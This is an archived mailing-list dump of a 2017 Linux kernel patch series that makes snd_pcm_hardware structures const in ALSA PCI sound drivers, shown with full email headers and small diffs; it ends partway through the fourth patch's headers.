	for glpp-linux-parisc@m.gmane.org; Sat, 12 Aug 2017 17:31:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750983AbdHLPbl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 12 Aug 2017 11:31:41 -0400
Original-Received: from mail-pg0-f68.google.com ([74.125.83.68]:38837 "EHLO
        mail-pg0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750948AbdHLPbk (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 12 Aug 2017 11:31:40 -0400
Original-Received: by mail-pg0-f68.google.com with SMTP id 123so5346877pga.5;
        Sat, 12 Aug 2017 08:31:40 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=ng9zfjge1BR9A/rkoZ56k6xpvPwF2XyPyffmhC6/T+E=;
        b=R9+DLO3isIODdlXwfh0OMJwZu0/4czr1b6z+nga5QCxBt23e2CeFxoXJRd8igGLJc8
         agfaiV9IFLDkrcwm0wBeTj7O9OulNZPuQ3MyNns+vdIiYSn7ZlEIQHco7xOpEYIGGpyT
         8k5lZmd/7elRlvLxnVd5T9S7DBe7S/TNRrc+d1Np23TX8RjwPY2sq/dZyGv7x5iLrOIn
         5y9+pYqC6WnR7fQwN5IK3jNyAqCdgKWNHRL2Aocs1XnybXPsoi0id5kXWOlY20PDWy28
         Fczh+Zs8aaG6SprzLw3vP+hwlGKD8R61oPAg7kSU7bH4qL+r10Kg37f6e4PVe2UUkNQv
         wqTA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=ng9zfjge1BR9A/rkoZ56k6xpvPwF2XyPyffmhC6/T+E=;
        b=o9KgyMeLsRicn3rvqzPBp5PriyAihlxP2qMWyqbdzFA2zBaHoIBF7bXF5O1d8N+kqC
         se2X3rmoZc0Xk1m8NRODa2CEy2/O+ksXN/CUVs1jluR9B+TXcXUQVBDlVkLAwCtpZ93O
         VBHiWSQrnsjz2mM6n5b4ZQP5TT5TylDAoi5I28vuRNcYHCSBTTBzJ8+7T6GLR4/VoAr8
         hlMfd7uh0Sk4Mf4fkPXxhtEUvlDyDIDnFz3GWl2lFu89EVPhxL+3i3HuVl1Sn4ITYT25
         kUt5U/H3QsI8SwyW94xAZFauIVQhL7M5kflXcvxiZfZxC1pc/KRDr/QsKegkH9WQM2vV
         XjZA==
X-Gm-Message-State: AHYfb5hp1SHXdcMcm4AR3z+G576wSBT9gcOSY2MJssICUl6QkjEAKuNo
        djDduTl1B/UZLw==
X-Received: by 10.98.209.87 with SMTP id t23mr19643527pfl.86.1502551900128;
        Sat, 12 Aug 2017 08:31:40 -0700 (PDT)
Original-Received: from gmail.com ([117.196.108.245])
        by smtp.gmail.com with ESMTPSA id d71sm6737921pfg.169.2017.08.12.08.31.35
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Sat, 12 Aug 2017 08:31:39 -0700 (PDT)
Original-Received: by gmail.com (sSMTP sendmail emulation); Sat, 12 Aug 2017 21:01:32 +0530
X-Mailer: git-send-email 1.9.1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27647 gmane.linux.alsa.devel:170533 gmane.linux.kernel:2547304
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27647>

Declare snd_pcm_hardware const. 
Done using Coccinelle.

Bhumika Goyal (16):
  ALSA: aw2: make snd_pcm_hardware const
  ALSA: ca0106: make snd_pcm_hardware const
  ALSA: cs46xx: make snd_pcm_hardware const
  ALSA: korg1212: make snd_pcm_hardware const
  ALSA: cs5535audio: make snd_pcm_hardware const
  ALSA: emu10k1: make snd_pcm_hardware const
  ALSA: lola: make snd_pcm_hardware const
  ALSA: lx6464es: make snd_pcm_hardware const
  ALSA: mixart: make snd_pcm_hardware const
  ALSA: ctxfi: make snd_pcm_hardware const
  ALSA: pcxhr: make snd_pcm_hardware const
  ALSA: riptide: make snd_pcm_hardware const
  ALSA: rme9652: make snd_pcm_hardware const
  ALSA: trident: make snd_pcm_hardware const
  ALSA: ymfpci: make snd_pcm_hardware const
  ALSA: pci: make snd_pcm_hardware const

 sound/pci/ad1889.c                      |  4 ++--
 sound/pci/als300.c                      |  4 ++--
 sound/pci/als4000.c                     |  4 ++--
 sound/pci/atiixp.c                      |  2 +-
 sound/pci/atiixp_modem.c                |  2 +-
 sound/pci/aw2/aw2-alsa.c                |  4 ++--
 sound/pci/bt87x.c                       |  4 ++--
 sound/pci/ca0106/ca0106_main.c          |  4 ++--
 sound/pci/cmipci.c                      | 12 ++++++------
 sound/pci/cs4281.c                      |  4 ++--
 sound/pci/cs46xx/cs46xx_lib.c           |  4 ++--
 sound/pci/cs5535audio/cs5535audio_pcm.c |  4 ++--
 sound/pci/ctxfi/ctpcm.c                 |  6 +++---
 sound/pci/emu10k1/emu10k1x.c            |  4 ++--
 sound/pci/emu10k1/emupcm.c              | 10 +++++-----
 sound/pci/emu10k1/p16v.c                |  4 ++--
 sound/pci/ens1370.c                     |  6 +++---
 sound/pci/es1938.c                      |  4 ++--
 sound/pci/es1968.c                      |  4 ++--
 sound/pci/fm801.c                       |  4 ++--
 sound/pci/intel8x0.c                    |  2 +-
 sound/pci/intel8x0m.c                   |  2 +-
 sound/pci/korg1212/korg1212.c           |  4 ++--
 sound/pci/lola/lola_pcm.c               |  2 +-
 sound/pci/lx6464es/lx6464es.c           |  2 +-
 sound/pci/maestro3.c                    |  4 ++--
 sound/pci/mixart/mixart.c               |  4 ++--
 sound/pci/pcxhr/pcxhr.c                 |  2 +-
 sound/pci/riptide/riptide.c             |  4 ++--
 sound/pci/rme32.c                       |  8 ++++----
 sound/pci/rme96.c                       |  8 ++++----
 sound/pci/rme9652/hdsp.c                |  4 ++--
 sound/pci/rme9652/rme9652.c             |  4 ++--
 sound/pci/sis7019.c                     |  4 ++--
 sound/pci/sonicvibes.c                  |  4 ++--
 sound/pci/trident/trident_main.c        | 10 +++++-----
 sound/pci/via82xx.c                     |  2 +-
 sound/pci/via82xx_modem.c               |  2 +-
 sound/pci/ymfpci/ymfpci_main.c          |  4 ++--
 39 files changed, 85 insertions(+), 85 deletions(-)

-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bhumika Goyal <bhumirks@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.alsa.devel
Subject: [PATCH 01/16] ALSA: aw2: make snd_pcm_hardware const
Date: Sat, 12 Aug 2017 21:01:13 +0530
Lines: 34
Approved: news@gmane.org
Message-ID: <1502551888-30325-2-git-send-email-bhumirks@gmail.com>
References: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1502551923 449 195.159.176.226 (12 Aug 2017 15:32:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 12 Aug 2017 15:32:03 +0000 (UTC)
Cc: Bhumika Goyal <bhumirks@gmail.com>
To: julia.lawall@lip6.fr, T-Bone@parisc-linux.org, perex@perex.cz,
        tiwai@suse.com, clemens@ladisch.de, jayakumar.alsa@gmail.com,
        linux-parisc@vger.kernel.org, alsa-devel@alsa-project.org,
        linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 12 17:31:59 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dgYOE-0007m5-FO
	for glk-linux-kernel-3@m.gmane.org; Sat, 12 Aug 2017 17:31:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752038AbdHLPbv (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 12 Aug 2017 11:31:51 -0400
Original-Received: from mail-pf0-f196.google.com ([209.85.192.196]:35117 "EHLO
        mail-pf0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751896AbdHLPbt (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 12 Aug 2017 11:31:49 -0400
Original-Received: by mail-pf0-f196.google.com with SMTP id j68so6013484pfc.2;
        Sat, 12 Aug 2017 08:31:49 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=ZkSr/T+YuFkjj2nGY7PmwNlb06a3gte45I2EWhZKa4k=;
        b=OQfc5pNub3dNmBiRaxONKJru9hPlZ/nXHFAIbG3OL9lwATR8evSy3bgYnsL9vKdgcW
         x+GVuQND8e3+rBqBp22RZC4dPZEZ9ktQpM1U8285aEe/+5A9mWy0KoTq3ukpRH8zo0qm
         thrfp1fn7lQKnZrFlEK/iHYAGjs9J4lqQIdXzhOLhAv23mlSripHBfWSLuoZ6Lk6YF5+
         6aWplsSuSjhsIQPMznWjR8TpUj76D/NRH/Vdt5FDqJFxjzaTTx9DfbvHRIAo9JU4Hzjk
         pbdFF+4D1YazI4jZ2BYWSN/frNexfk8DKT77HrZ20fAn3fkMsjfgTsUxTWwWOywrqhD4
         Ji5A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=ZkSr/T+YuFkjj2nGY7PmwNlb06a3gte45I2EWhZKa4k=;
        b=kgDL/HpnkpinmewKpI3o6trfAOYFa0b18yRxKpaG5iubBvUMJ0BhgLytI703GkYh60
         E9VnFY9Xmnv/q/JsiKEy6zFgU0ZTdPK5A/IObrB7oSqXIsrp7bwNgmxC7g7d9fRgBHmT
         q1CfJLlltuAXEAh3A5y0AstsPV+DH9tWxqvvf5d+vtGyHZRc71ZlLWidWT2zncfEFqHq
         nZwfZJiJ/yPFy4UoBde4pZTrHNkXCJ8b2G3/P/2ytjg4JcQtRpSLyvKr8isYSWnOLziJ
         ph/b7lzBceZJ/WkwSOrr59+vGG1ZtXr21GjMzSsmtCtfJNa2wE52nbBu6NdWnn/CqMBl
         HAWg==
X-Gm-Message-State: AHYfb5ijcVokxiDaA4u981Y128POEAIyrJnVzU5BtJVI2KJdo2nGZ6bx
        nxQupZ0fppcFGw==
X-Received: by 10.99.95.200 with SMTP id t191mr18337789pgb.237.1502551908878;
        Sat, 12 Aug 2017 08:31:48 -0700 (PDT)
Original-Received: from gmail.com ([117.196.108.245])
        by smtp.gmail.com with ESMTPSA id t3sm6302836pfb.147.2017.08.12.08.31.43
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Sat, 12 Aug 2017 08:31:47 -0700 (PDT)
Original-Received: by gmail.com (sSMTP sendmail emulation); Sat, 12 Aug 2017 21:01:40 +0530
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2547305 gmane.linux.ports.parisc:27648 gmane.linux.alsa.devel:170534
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2547305>

Make these const as they are only used during a copy operation.
Done using Coccinelle.

Signed-off-by: Bhumika Goyal <bhumirks@gmail.com>
---
 sound/pci/aw2/aw2-alsa.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/sound/pci/aw2/aw2-alsa.c b/sound/pci/aw2/aw2-alsa.c
index 8356180..9a49e42 100644
--- a/sound/pci/aw2/aw2-alsa.c
+++ b/sound/pci/aw2/aw2-alsa.c
@@ -52,7 +52,7 @@
  * TYPEDEFS
  ********************************/
   /* hardware definition */
-static struct snd_pcm_hardware snd_aw2_playback_hw = {
+static const struct snd_pcm_hardware snd_aw2_playback_hw = {
 	.info = (SNDRV_PCM_INFO_MMAP |
 		 SNDRV_PCM_INFO_INTERLEAVED |
 		 SNDRV_PCM_INFO_BLOCK_TRANSFER | SNDRV_PCM_INFO_MMAP_VALID),
@@ -69,7 +69,7 @@
 	.periods_max = 1024,
 };
 
-static struct snd_pcm_hardware snd_aw2_capture_hw = {
+static const struct snd_pcm_hardware snd_aw2_capture_hw = {
 	.info = (SNDRV_PCM_INFO_MMAP |
 		 SNDRV_PCM_INFO_INTERLEAVED |
 		 SNDRV_PCM_INFO_BLOCK_TRANSFER | SNDRV_PCM_INFO_MMAP_VALID),
-- 
1.9.1



From - Thu Nov 08 21:40:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bhumika Goyal <bhumirks@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.alsa.devel
Subject: [PATCH 02/16] ALSA: ca0106: make snd_pcm_hardware const
Date: Sat, 12 Aug 2017 21:01:14 +0530
Lines: 34
Approved: news@gmane.org
Message-ID: <1502551888-30325-3-git-send-email-bhumirks@gmail.com>
References: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1502551925 853 195.159.176.226 (12 Aug 2017 15:32:05 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 12 Aug 2017 15:32:05 +0000 (UTC)
Cc: Bhumika Goyal <bhumirks@gmail.com>
To: julia.lawall@lip6.fr, T-Bone@parisc-linux.org, perex@perex.cz,
        tiwai@suse.com, clemens@ladisch.de, jayakumar.alsa@gmail.com,
        linux-parisc@vger.kernel.org, alsa-devel@alsa-project.org,
        linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 12 17:32:00 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dgYOL-0008DR-7i
	for glk-linux-kernel-3@m.gmane.org; Sat, 12 Aug 2017 17:31:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752109AbdHLPcA (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 12 Aug 2017 11:32:00 -0400
Original-Received: from mail-pg0-f65.google.com ([74.125.83.65]:32887 "EHLO
        mail-pg0-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751896AbdHLPb5 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 12 Aug 2017 11:31:57 -0400
Original-Received: by mail-pg0-f65.google.com with SMTP id u185so5371072pgb.0;
        Sat, 12 Aug 2017 08:31:57 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=voElHSAC4WyWqAYDauSnSmyB80dKE3koJleEtMciZAA=;
        b=kh0RMsHBpKB1oPaE8W6XZgCzUBPZo/QO4WlHri/IWVbbCwsvfyP0754m2S6eDbGnAG
         yEoUGMzIVeE1odIwzQ4bmYQFujaEcyfd5Qxzgy1KTj6TgYRKSVWKypg/q0ohKurvga/4
         jEtwoZ0w8+VQFHab3BiVRDjeR2QWYJX+TrCotKl9DS+0B4wmcnshtSIbJ0u7f/qRedy5
         x8k63BDmlp0M5IUa1+TQ1CGLd+WjJ9vgRYKMcmOFjkhNE3B2TKvZFV5zGVi9Ws7xq2jj
         K2hDrGkNaaUCDrUhzn6YWoE/E8A3oqsX4Vkunk8g0VO+XK0ZO1Dr2YGKaCYx81Xf67+l
         p9uQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=voElHSAC4WyWqAYDauSnSmyB80dKE3koJleEtMciZAA=;
        b=VzogrY+wU4RkwL6HAeSuD2nPQn6GzAWpDip87HgyQO0WK/zGc3nWnIYvW/qvRKaL71
         par4oMSHc7Yc4PaUmBHSflIHIS11ha6V/oFZDtu9TyF9kumZbLjGzF7hGpVVMYq/seBO
         M20oD+aHfdPTtTOiCd+NvOakZSEylGIKmTILw37GYPOvyeX63dsDGaOTiMuiMIvj2PWd
         vRGLFbJWZrYdK+uRXpkDcInVQpgvv2dG44QavGDx4BqQAucOCoASAgyYlHvV/e6ZmJuJ
         pn2hVMUDFf1XKbIYZhFG1kU9ZPhWzPx6ot7v3aeP74pOznDiWxSjQMXAFrVaZbvtzdN/
         bZfQ==
X-Gm-Message-State: AHYfb5iBO2GmCRrk7ka9lbG4qpsnLZIVKpKKMq/r4s8NF1G+j6caGeMT
        RdfC48dNC3NByA==
X-Received: by 10.84.214.22 with SMTP id h22mr16152936pli.420.1502551916982;
        Sat, 12 Aug 2017 08:31:56 -0700 (PDT)
Original-Received: from gmail.com ([117.196.108.245])
        by smtp.gmail.com with ESMTPSA id f65sm6901054pfc.109.2017.08.12.08.31.52
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Sat, 12 Aug 2017 08:31:56 -0700 (PDT)
Original-Received: by gmail.com (sSMTP sendmail emulation); Sat, 12 Aug 2017 21:01:49 +0530
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2547306 gmane.linux.ports.parisc:27649 gmane.linux.alsa.devel:170535
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2547306>

Make these const as they are only used during a copy operation.
Done using Coccinelle.

Signed-off-by: Bhumika Goyal <bhumirks@gmail.com>
---
 sound/pci/ca0106/ca0106_main.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/sound/pci/ca0106/ca0106_main.c b/sound/pci/ca0106/ca0106_main.c
index 6165a57..2be30b8 100644
--- a/sound/pci/ca0106/ca0106_main.c
+++ b/sound/pci/ca0106/ca0106_main.c
@@ -296,7 +296,7 @@
 };
 
 /* hardware definition */
-static struct snd_pcm_hardware snd_ca0106_playback_hw = {
+static const struct snd_pcm_hardware snd_ca0106_playback_hw = {
 	.info =			SNDRV_PCM_INFO_MMAP | 
 				SNDRV_PCM_INFO_INTERLEAVED |
 				SNDRV_PCM_INFO_BLOCK_TRANSFER |
@@ -317,7 +317,7 @@
 	.fifo_size =		0,
 };
 
-static struct snd_pcm_hardware snd_ca0106_capture_hw = {
+static const struct snd_pcm_hardware snd_ca0106_capture_hw = {
 	.info =			(SNDRV_PCM_INFO_MMAP | 
 				 SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER |
-- 
1.9.1



From - Thu Nov 08 21:40:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bhumika Goyal <bhumirks@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.alsa.devel
Subject: [PATCH 03/16] ALSA: cs46xx: make snd_pcm_hardware const
Date: Sat, 12 Aug 2017 21:01:15 +0530
Lines: 34
Approved: news@gmane.org
Message-ID: <1502551888-30325-4-git-send-email-bhumirks@gmail.com>
References: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1502551936 3323 195.159.176.226 (12 Aug 2017 15:32:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 12 Aug 2017 15:32:16 +0000 (UTC)
Cc: Bhumika Goyal <bhumirks@gmail.com>
To: julia.lawall@lip6.fr, T-Bone@parisc-linux.org, perex@perex.cz,
        tiwai@suse.com, clemens@ladisch.de, jayakumar.alsa@gmail.com,
        linux-parisc@vger.kernel.org, alsa-devel@alsa-project.org,
        linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 12 17:32:12 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dgYOU-0000I4-Jw
	for glk-linux-kernel-3@m.gmane.org; Sat, 12 Aug 2017 17:32:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752154AbdHLPcI (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 12 Aug 2017 11:32:08 -0400
Original-Received: from mail-pg0-f65.google.com ([74.125.83.65]:36598 "EHLO
        mail-pg0-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751896AbdHLPcG (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 12 Aug 2017 11:32:06 -0400
Original-Received: by mail-pg0-f65.google.com with SMTP id y129so5358564pgy.3;
        Sat, 12 Aug 2017 08:32:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=RU3TRE7Wl1Zowuzm/UFl5dpHpcQ+pSFZkOF7RcgQVMA=;
        b=AWgc5NpsYIT+ZkmSUepT2cvlb8MogYYzdzQDBFhX1J5KbtbVBj9+UX+r0XLnst01UQ
         h9jfybi1xLyq0DH87IOAQBUiK7tUJ0GRKf1FJ/ehWO8esntXcVQCgXuImXibroTz2nkw
         85m0DmO5sfcDEG/vNhyfi5u/msRk93NObsMSMX4vxoed5I7kHiHkfMhSVfJpKl3Lb51R
         VORI6J8FtrbXZ7B1DqyjBlKajWFZNGSK/pkxcK0XZQUK4NOUuSkR+PjDJLHH8V5GrmdX
         7xol+YUz74Izao/kmD4lb0nq39J67XUecwwMSXoGTk+LyHUFP6bH7BKU0Jd0soYK0TdF
         CIkg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=RU3TRE7Wl1Zowuzm/UFl5dpHpcQ+pSFZkOF7RcgQVMA=;
        b=gkcErcjQKpmsTwDCo2LfCOMw7JwV27KZ2KeBfF2nXbRG5kVfTeeu4r3K2/jCwH+bFb
         xXYkO5D4tQaUfQywivRceV2jBym6BQF14rLX+D2yL6Z+HGP1S21eF84r/CA5+6unsYbw
         spxNxx4TXUFxzrFh0Xf2iLsYBZ2XY8vfeX87Fon/oeZDf2ccxCWAkEGWmHm/pAYfTKAS
         IAa50DBerO/1P7jwfyrqRxEZf47sGEz+aHLa7hOdXmYGAWnkfALCL/pUttUTA8m+/Il8
         Q3o31kXijQ5FlV7x/rowtWGnaO+ILd50DYqmN7Gw02pxvAEHWUyoMGU4pF3tqfl5sKyo
         H5Zg==
X-Gm-Message-State: AHYfb5jxFnZgP0EmgVD/70XjvjMfyfh23ksaw/Q8mRs7WJVTdR2hNj9T
        2uZis7QrO1uHgQ==
X-Received: by 10.84.167.2 with SMTP id c2mr21995851plb.370.1502551925694;
        Sat, 12 Aug 2017 08:32:05 -0700 (PDT)
Original-Received: from gmail.com ([117.196.108.245])
        by smtp.gmail.com with ESMTPSA id s8sm7318262pfd.77.2017.08.12.08.32.00
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Sat, 12 Aug 2017 08:32:05 -0700 (PDT)
Original-Received: by gmail.com (sSMTP sendmail emulation); Sat, 12 Aug 2017 21:01:57 +0530
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2547307 gmane.linux.ports.parisc:27650 gmane.linux.alsa.devel:170536
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2547307>

Make these const as they are only used during a copy operation.
Done using Coccinelle.

Signed-off-by: Bhumika Goyal <bhumirks@gmail.com>
---
 sound/pci/cs46xx/cs46xx_lib.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/sound/pci/cs46xx/cs46xx_lib.c b/sound/pci/cs46xx/cs46xx_lib.c
index 709fb1a..0020fd0 100644
--- a/sound/pci/cs46xx/cs46xx_lib.c
+++ b/sound/pci/cs46xx/cs46xx_lib.c
@@ -1438,7 +1438,7 @@ static irqreturn_t snd_cs46xx_interrupt(int irq, void *dev_id)
 	return IRQ_HANDLED;
 }
 
-static struct snd_pcm_hardware snd_cs46xx_playback =
+static const struct snd_pcm_hardware snd_cs46xx_playback =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP |
 				 SNDRV_PCM_INFO_INTERLEAVED | 
@@ -1460,7 +1460,7 @@ static irqreturn_t snd_cs46xx_interrupt(int irq, void *dev_id)
 	.fifo_size =		0,
 };
 
-static struct snd_pcm_hardware snd_cs46xx_capture =
+static const struct snd_pcm_hardware snd_cs46xx_capture =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP |
 				 SNDRV_PCM_INFO_INTERLEAVED |
-- 
1.9.1



From - Thu Nov 08 21:40:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bhumika Goyal <bhumirks@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.alsa.devel
Subject: [PATCH 04/16] ALSA: korg1212: make snd_pcm_hardware const
Date: Sat, 12 Aug 2017 21:01:16 +0530
Lines: 34
Approved: news@gmane.org
Message-ID: <1502551888-30325-5-git-send-email-bhumirks@gmail.com>
References: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1502551943 4657 195.159.176.226 (12 Aug 2017 15:32:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 12 Aug 2017 15:32:23 +0000 (UTC)
Cc: Bhumika Goyal <bhumirks@gmail.com>
To: julia.lawall@lip6.fr, T-Bone@parisc-linux.org, perex@perex.cz,
        tiwai@suse.com, clemens@ladisch.de, jayakumar.alsa@gmail.com,
        linux-parisc@vger.kernel.org, alsa-devel@alsa-project.org,
        linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 12 17:32:19 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dgYOa-0000bZ-Bh
	for glk-linux-kernel-3@m.gmane.org; Sat, 12 Aug 2017 17:32:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752195AbdHLPcR (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 12 Aug 2017 11:32:17 -0400
Original-Received: from mail-pg0-f68.google.com ([74.125.83.68]:37848 "EHLO
        mail-pg0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751896AbdHLPcO (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 12 Aug 2017 11:32:14 -0400
Original-Received: by mail-pg0-f68.google.com with SMTP id 83so5357865pgb.4;
        Sat, 12 Aug 2017 08:32:14 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=pwlFUoxtPArdIR9ydkLBii6UbEtpu4qmBrPvBuFoLqk=;
        b=oM97qpGfpYOLNZ2wetqtBjTzzO4ITBW4oz3wO1Av3kR1JUUqPmo/7Yx8wQmU/B8/jM
         Ib5ZOt/rDYx+9qxYBgQZhwIG2YuiB3UObUTNuxLRmJtgP+5oUEZd/YdfawrC8zPauh3R
         WNuvmpPw0wnl/6Zd4gzVGcLg/detTpYvhkZ8AwJe5cYQtiQtQRWFKHQ6GzlZWTBp9Orj
